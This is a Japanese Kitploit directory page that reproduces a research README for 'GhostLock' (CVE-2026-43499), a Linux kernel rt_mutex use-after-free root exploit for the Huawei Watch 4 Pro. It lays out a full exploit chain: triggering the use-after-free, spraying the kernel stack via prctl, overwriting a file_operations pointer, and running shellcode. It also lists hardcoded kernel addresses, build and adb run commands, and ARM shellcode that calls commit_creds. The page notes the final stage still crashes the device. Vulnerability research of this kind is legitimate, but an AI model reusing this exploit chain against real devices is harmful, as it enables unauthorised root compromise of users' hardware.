Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ghostlock-cve-2026-43499 — CVE-2026-43499 (GhostLock) — Huawei Watch 4 Pro(カーネル 5.4.210)を標的としたLinuxカーネル futex PI rt_mutex UAF ARM32権限昇格研究 | Kitploit
ツール/GitHubGitHub/gitchw/ghostlock-cve-2026-43499
組み込みシステムセキュリティ特権昇格IoTセキュリティ脆弱性分析エクスプロイトリバースエンジニアリングペイロード開発バイナリエクスプロイト
GitHubgitchw/ghostlock-cve-2026-43499

ghostlock-cve-2026-43499

CVE-2026-43499 (GhostLock) — Huawei Watch 4 Pro(カーネル 5.4.210)を標的としたLinuxカーネル futex PI rt_mutex UAF ARM32権限昇格研究

リポジトリを見る
2日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-43499 (GhostLock) — ARM32 カーネル権限昇格リサーチ

Linux カーネルの futex PI rt_mutex Use-After-Free 脆弱性の調査とエクスプロイト開発。対象は Huawei Watch 4 Pro (MDS-AL00)、Snapdragon SW5100、armv7l、カーネル 5.4.210。

脆弱性

kernel/locking/rt_mutex.c の remove_waiter() は、プロキシロックのロールバック中に waiter->task の代わりに current を誤って使用するため、ウェイタータスクの pi_blocked_on がクリアされません。これにより、ウェイターのカーネルスタックフレームが解放された後、task_struct からスタック上に割り当てられた rt_mutex_waiter へのダングリングポインタが残ります — 典型的なスタック Use-After-Free です。

エクスプロイト戦略

  1. ダングリングポインタ — 3つのスレッドにまたがる futex(FUTEX_CMP_REQUEUE_PI) によって EDEADLK ロールバックを誘発し、ウェイターの pi_blocked_on が解放済みスタックを指すようにします。
  2. スタックスプレー(スタンプ) — prctl(PR_SET_NAME)(オプション15、非特権)を使用して、制御した15バイトのデータをカーネルスタックにコピーし、偽ウェイターの task/lock/prio フィールドを上書きします。
  3. 書き込みプリミティブ — sched_setattr() が PI チェーンウォークをトリガーします。偽ウェイターは、カーネルの file_operations 構造体に重なる偽造 rt_mutex にエンキューされます。赤黒木の挿入により、ウェイターのカーネルスタックアドレスが fops->unlocked_ioctl に書き込まれます。
  4. コード実行 — 位置独立な ARM シェルコードでウェイターを再スタンプします。ワールドアクセス可能なキャラクタデバイスを開いて ioctl() を呼び出すと、上書きされた unlocked_ioctl ポインタ経由で実行可能なカーネルスタック上のシェルコードにディスパッチされます。
  5. 権限昇格 — シェルコードが commit_creds(waiter) を呼び出します。ウェイターの先頭フィールド(rb_insert_color によって設定)は、uid/gid = 0 の偽の struct cred を構成します。

現在のステータス

  • UAF トリガー: 動作確認済み(実機で検証)
  • prctl によるスタックスタンプ: 動作確認済み
  • カーネルスタックアドレス単一書き込みプリミティブ: 動作確認済み (fops->unlocked_ioctl をウェイターのスタックアドレスで上書き)
  • カーネルスタックが実行可能であることを確認(BSS/スタック領域に PXN/NX なし)
  • シェルコードへの ioctl ディスパッチ: デバイスが再起動する — 調査中 (おそらく Cortex-A7 の rb_insert_color / チェーンウォーク経路における sentinel UNPREDICTABLE 命令またはレジスタ破壊)

対象デバイス

主要カーネルアドレス

root@kitploit:~
kernel base          0xC0008000
syscall table        0xc0101264
do_vfs_ioctl         0xc031c0ec  (fops->unlocked_ioctl call at 0xc031c8a0)
commit_creds         0xc014cac8  (fast path, bx lr clean return)
rt_mutex_enqueue     0xc019c660
rb_insert_color      0xc104a918
init_task            0xc1b11640
init_cred            0xc1b17e60
null_fops (/dev/null) 0xc141f5b0
FAKE_LOCK            0xc141f5d4  (null_fops + 0x24)
write target         0xc141f5d8  (null_fops + 0x28 = unlocked_ioctl)

リポジトリ構成

root@kitploit:~
.
├── README.md                  # This file
├── boot.img                   # Target device boot image (32 MB)
├── exploit/
│   ├── ghostlock_arm32.c      # Main ARM32 exploit source
│   ├── ghostlock_arm32.h      # Exploit definitions header
│   ├── ghostlock_arm32        # Compiled static ARM binary
│   ├── ghostlock_poc1.c       # Initial crash POC
│   └── nebula_poc.c           # Nebula team reference POC
├── kernel/
│   ├── kernel_raw.bin         # Uncompressed kernel binary (28 MB)
│   └── kallsyms_parsed.txt    # Extracted kernel symbol table
├── analysis/                  # 670+ Capstone-based reverse engineering
│   ├── *.py                   # scripts and disassembly outputs used
│   └── *.txt                  # during the research process
└── references/
    ├── ghostlock/             # Earlier exploit iterations (PoC through
    │   ├── src/               # tracepoint/cred/oneplus variants)
    │   ├── bin/               # Compiled earlier versions
    │   ├── old/               # Initial crash PoCs
    │   ├── README.md
    │   └── RESEARCH_NOTES.md
    └── ref_tc3650/            # TC3650 ARM32 reference exploit materials

ビルド

root@kitploit:~
arm-linux-gnueabihf-gcc -static -O2 -o ghostlock_arm32 ghostlock_arm32.c -lpthread

実行

root@kitploit:~
adb push ghostlock_arm32 /data/local/tmp/
adb shell chmod +x /data/local/tmp/ghostlock_arm32
adb shell /data/local/tmp/ghostlock_arm32

シェルコード

ウェイター+0x18 にスタンプされる 12 バイトの位置独立 ARM Thumb シェルコード:

root@kitploit:~
sub r0, pc, #0x20      @ r0 = waiter (fake cred), PC-relative
ldr pc, [pc, #-4]      @ jump to commit_creds
.word 0xc014cac8       @ commit_creds address

commit_creds() の高速パスは current->cred = r0 を書き込み、bx lr で do_vfs_ioctl に戻ります。その後、通常通りユーザースペースへ戻ります。

file_operations レイアウトに関するメモ

このベンダーカーネルの struct file_operations は、オフセット +0x24(poll と unlocked_ioctl の間)に追加の4バイトフィールドがあり、以降のすべてのメンバーが標準 Linux 5.4 と比較して4バイトずれています:

root@kitploit:~
+0x04 llseek        +0x20 poll
+0x08 read          +0x24 <vendor extra>
+0x0c write         +0x28 unlocked_ioctl
+0x10 read_iter     +0x2c compat_ioctl
+0x14 write_iter    +0x30 mmap
+0x18 iterate       +0x38 open
+0x1c iterate_shared +0x40 release

これは ashmem および null fops ハンドラを逆アセンブルして確認済みです。

免責事項

このリポジトリはセキュリティ研究および教育のみを目的としています。所有していないデバイス、またはテストの許可がないデバイスでこれらの技術を使用しないでください。

ツールをダウンロード
プロパティ値
デバイスHuawei Watch 4 Pro (MDS-AL00)
SoCSnapdragon SW5100 (Cortex-A7, armv7l)
カーネル5.4.210 (32ビット ARM)
KASLR無効
PAN/SMAP非搭載
PXN0xc1b00000+ には PXN なし(スタック/BSS 実行可能)
CFI/PAC非搭載